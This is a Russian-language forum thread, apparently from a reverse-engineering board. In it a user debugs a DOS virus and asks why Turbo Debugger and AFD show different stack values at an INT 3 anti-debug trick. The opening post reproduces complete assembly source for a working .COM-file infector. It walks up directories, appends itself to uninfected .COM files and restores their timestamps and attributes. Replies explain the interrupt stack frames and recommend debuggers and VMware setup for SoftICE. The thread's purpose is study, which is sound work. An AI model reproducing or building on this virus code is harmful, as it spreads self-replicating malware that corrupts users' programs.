Всем привет! Я отлаживаю код: Спойлер: wlame.asm .model tiny .code org 0100h carrier: db 0E9h,0,0 ; jmp start start: mov bp, sp ; Противоотладочное получение дельта-смещения! int 0003h ; Int для брикпоинтов next: mov bp, ss:[bp-6] sub bp, offset next mov dl, 0000h ; Диск по умолчанию mov ah, 0047h ; Получаем директорию lea si, [bp+offset origdir+1] int 0021h lea dx, [bp+offset newDTA] mov ah, 001Ah ; устанавливаем DTA int 0021h restore_COM: mov di, 0100h push di lea si, [bp+offset old3] movsb ; Двигаем первый байт movsw ; Двигаем следующие два mov byte ptr [bp+numinfect], 0000h traverse_loop: lea dx, [bp+offset COMmask] call infect cmp [bp+numinfect], 0003h jae exit_traverse ; выходим, если заражен достаточное ; количество файлов mov ah, 003Bh ; CHDIR lea dx, [bp+offset dot_dot] ; переходим к следующей директории int 0021h jnc traverse_loop ; цикл, если нет ошибки exit_traverse: lea si, [bp+offset origdir] mov byte ptr [si], '\' mov ah, 003Bh ; восстанавливаем директорию xchg dx, si int 0021h mov dx, 0080h ; в PSP mov ah, 001Ah ; восстанавливаем DTA по умолчанию int 0021h return: ret old3 db 0cdh,20h,0 infect: mov ah, 004Eh ; находим первый mov cx, 0007h ; все файлы findfirstnext: int 0021h jc return cmp word ptr [bp+newDTA+35], 'DN' ; Check if COMMAND.COM mov ah, 004Fh ; Set up find next jz findfirstnext ; Exit if so lea dx, [bp+newDTA+30] mov ax, 4300h int 0021h jc return push cx push dx mov ax, 4301h ; очищаем атрибуты файла push ax ; сохраняем для последующего использования xor cx, cx int 0021h lea dx, [bp+newDTA+30] mov ax, 3D02h ; открываем R/O int 0021h xchg ax, bx ; хэндл в BX mov ax, 5700h ; получаем время/дату создания файла int 0021h push cx push dx mov ah, 003Fh mov cx, 001Ah lea dx, [bp+offset readbuffer] int 0021h xor cx, cx xor dx, dx mov ax, 4202h int 0021h cmp word ptr [bp+offset readbuffer], "ZM" jz jmp_close mov cx, word ptr [bp+offset readbuffer+1] ; местонахождение jmp add cx, heap-start+3 ; конвертируем в размер файла cmp ax, cx ; равны, если файл уже заражен jl skipp jmp_close: jmp close skipp: cmp ax, 65535-(endheap-start) ; проверяем, не слишком ли он велик ja jmp_close ; выходим, если так lea di, [bp+offset old3] lea si, [bp+offset readbuffer] movsb movsw sub ax, 0003h ; Virus_size-3 (размер перехода) mov word ptr [bp+offset readbuffer+1], ax mov dl, 00E9h ; опкод jmp mov byte ptr [bp+offset readbuffer], dl lea dx, [bp+offset start] ; начало того, что добавляем mov cx, heap-start ; pазмеp добавления mov ah, 0040h ; добавляем вирус int 0021h mov ax, 4200h xor dx, dx xor cx, cx int 0021h mov cx, 0003h lea dx, [bp+offset readbuffer] mov ah, 0040h int 0021h inc [bp+numinfect] close: mov ax, 5701h ; восстанавливаем время/дату создания файла pop dx pop cx int 0021h mov ah, 003Eh int 0021h pop ax ; восстанавливаем атрибуты файла pop dx ; получаем имя файла и pop cx ; атрибуты из стека int 0021h mov ah, 004Fh ; находим следующий файл jmp findfirstnext signature db "[PS/Gэ]",0 ; Phalcon/Skism G2 ( old!! ) COMmask db "*.COM",0 ; должен быть ASCIIZ (Ascii-строка,0) dot_dot db "..",0 ; новая директория heap: ; эти данные отправляются в кучу newDTA db 43 dup (?) ; pазмеp DTA, 2Bh origdir db 65 dup (?) ; где сохранять старую директорию numinfect db ? ; обрабатывает количество заражений readbuffer db 1ah dup (?) ; буфеp endheap: end carrier Сначала решил отладить под отладчиком afdpro. Но он останавливается на int3. Вместо этого я заnop'ил int3. Когда дохожу до кода mov bp, ss:[bp-6], то afdpro корректно показывает смещение текущей команды. У меня смещение 0106: Но если я иду отлаживать в turbo debugger, который перепрыгивает команду int3, отладчик показывает неверные два байта: Но после трейса, корректно достаёт из стека смещение 0106: Подскажите, почему turbo debugger показывает на команде mov bp, ss:[bp-6], что будет доставать значение 0A95, а не 0106 и тем неменее достаёт 0106?
Извиняюсь за битые ссылки на картинки. Ибо не нашёл как редактировать свою тему. Вот корректные ссылки на скриншоты в порядке очереди:
Да, интересный момент. Тут все интересное И не совсем подходящий под определение lame, досовский вирь, и не совсем имхо подходящий отладчик. Мне кажется, или TD просто некорректно стек отображает? Странный "противоотладочный" трюк. Обычно делали call metka / pop reg / sub reg,X , чтобы плавающее смещение входа в вирь посчитать. p.s. на форуме сделано ограничение по времени на редактирование поста, 15 минут. ха, вот оно что: делается in3, и используя стек текущей задачи, в нем процессором размещаются CS:IP места возврата. отсюда и 0106 в стеке. на последнем скрине даже видно CS=26C5 после 0106 ( поля A B )
Перебор Это ему будет чистый дос нужен. Под ВМваре с-айс не особо работает, по крайней мере в моем случае не хотело. я пробовал под вин9х, установленной в Варе. но вообще трюк трюкастый - подгадить в стек, и потом взять оттуда смещение.
..и тебя это нисколько не смутило? От куда в стеке появилось смещение(:0106), если ты занопил INT-3? Ты же именно через этот инт вычисляешь дельту. При вызове любого прерывания, ЦП сначала помещает в стек 6-байт в порядке: флаги-CS-IP, и только потом передаёт управление обработчику, в конце которого IRET снимает этот 6-байтовый фрейм и по нему возвращает управление на:родину. Твоё смещение(:0106) должно быть ничто-иное, как значение(IP) во фрейме инта. Но как попал туда :IP, если не было прерывания?! В твоём случае фрейм заполнил INT-1, который вызывается на каждом стэпе, при взведённом флаге трассировки(IF). Этот флаг взводит любой отладчик для своей работы. Отладчик-отладчику рознь. Например из этих/двух, программный код TD перехватывает только векторы(0.4.5.6). Векторы(1.3) он вообще не трогает, а просто взводит флаг трассировки(IF) и тупо ждёт INT-1. Другое дело AFD, который перехватывает чуть-ли не весь/первый десяток прерываний, в результате чего становится более "правильным". Дизассемблируй их и посмотри.. ИМХО после Айса, всем отладчикам утирает нос AVPUtil. Этот зверюга (всего 40кб, что в 10 раз меньше TD) способен дать фору всем 16-битным отладчикам вместе-взятым. В те времена AVерам было не до шуток - VXеры наступали на пятки.. и они создали действительно достойный инструмент, которым и вылавливали как-раз подобную малварь. Советую. Как вариант, у твоего дебагера вообще отключён INT-3 (бряки), поэтому он его и перепрыгивает, показывая мусорные байты в стеке. А на следующем шаге, фрейм уже заполняет INT-1, и твой трейс возвращает правильное смещение(:0106). Мой "TurboDebugger v3.1" отрабатывает всё правильно, без глюков. Нужно сказать, что конструкция CALL/POP для вычисления дельты более удачна, т.к. в этом случае в стек ложится только значение(IP), которое тут-же снимается в BP. Счёт 6:2 ..хотя для виря это не принципиально, и даже наоборот. Но нельзя забывать, что ты вызываешь прерывание, обработчик которого заканчивает по IRET. Эта инструкция снимает со-стека весь/6-байтный фрейм и хорошо, если при этом просто сдвинется указатель(SP), оставив нужное тебе смещение (aka мусор) ниже указателя. ЦП гарантирует сохранность данных только выше указателя(SP), а твой код опирается как-раз на область в аккурат ниже SP. Эту область активно юзают отладчики, постоянно контролируя значение(SP). Не факт, что она не понадобится ещё кому-нибудь. Просмотри в дебагере на диапазон [SP-0..6]. При любых обстоятельствах там будет находиться фрейм INT-01h, а это значения регистров: FLAGS/CS/IP.
"Я парень простой Вижу упоминание AVPutil, ставлю лайк" Коцит, спасибо за детальное разъяснение. И с кейлоггером разберемся, дай только срок. Рекомендую добавить твой личный сайт к себе в подпись
У меня в Turbo Debugger'e по смещению sp от 0...6 не нашлось 0106. SoftICE вчера пробовал ставить под VWMARE c OS Windows XP. SoftICE брал несколько версий с exelab.ru. Что-то он не захотел ставиться (впрочем не удивительно,помню нужно немножко позаморачиваться, чтобы он заработал). За AVPUtil спасибо, сейчас поставлю и пробегусь по коду. p.s. Всем спасибо за ответы.))) Попробую AVPUtil. Буду трейсить и фиксировать изменения дампа, и регистров, в Excel. Как разберу код, могу скинуть сюда результат.
Привет!) Да вот когда-то сидел в нём (благо удалось настроить и была в этом необходимость). Я тогда читал книгу Криса Касперского "Искусство Дизассемблирования". Думается мне SoftICE в скором времени понадобится опять.) А вот сейчас сижу под AVPUTIL: А изменения фиксирую в Excel)))):
_edge, сайт свой забросил и не заходил туда сам уже пару-лет. (ты мне напомнил про него ) Он родился, когда мне был интересен HTML. Сейчас делаю (мелкими шагами) новый. Как залью на хост - выложу ссылку. Приятно, что ты помнишь про него: ..в AVPutil стек хорошо отображен. Надеюсь нашёл(106) ? а в TD нужно смотреть [BP-6], а ты смотришь [BP+6] Перейди табом в окно стека, и подыми его на 4-строчки вверх.
В AVPutil, по идее, есть возм-ть записывать лог трассировки. Оно, аналогично команде -t в debug.exe, будет выводить на каждый step into содержимое регистров также, как это вы делаете, записывая вручную в таблицу. Кстати, можно в debug.exe и попробовать.
Порядок.) Попробовал залогировать. В avputil можно залогировать диапозон дизассемблированного кода и дамп. Но не изменения в дампе.(( Как я уже и сказал, изменения в дампе происходят с некоторыми строчками. Скажем когда применяю команду movsw. Посему приходится фиксировать в ручную. Неудобно, но что делать. А так, конечно вы правы, можно всё и так развидеть перед монитором. Просто мне пока тяжело цифры в уме держать и помнить, что где меняется.)))
Если под виртуалку, то делаем так. Ставим Варю+2000sp4+КБ, чтобы тулсы работали, он там сам скажет какой,тулсы к системе, потом нужно файлик поправить vmx. После этого ставим айс и пробуем запустить, если экран появится, значит всё ок, и после этого нужно патч установить последний. Где в файлах там лежит 16 версия, если не ошибаюсь. https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1716 До SP3 XP, всё работает хорошо, с SP3 уже глючит.
Ищите по ключевому слову DS3.2.1.zip Апдейт 3.2.0 на последний. Вот например тут есть, но за качество не отвечаю. http://persi.persiangig.com/other/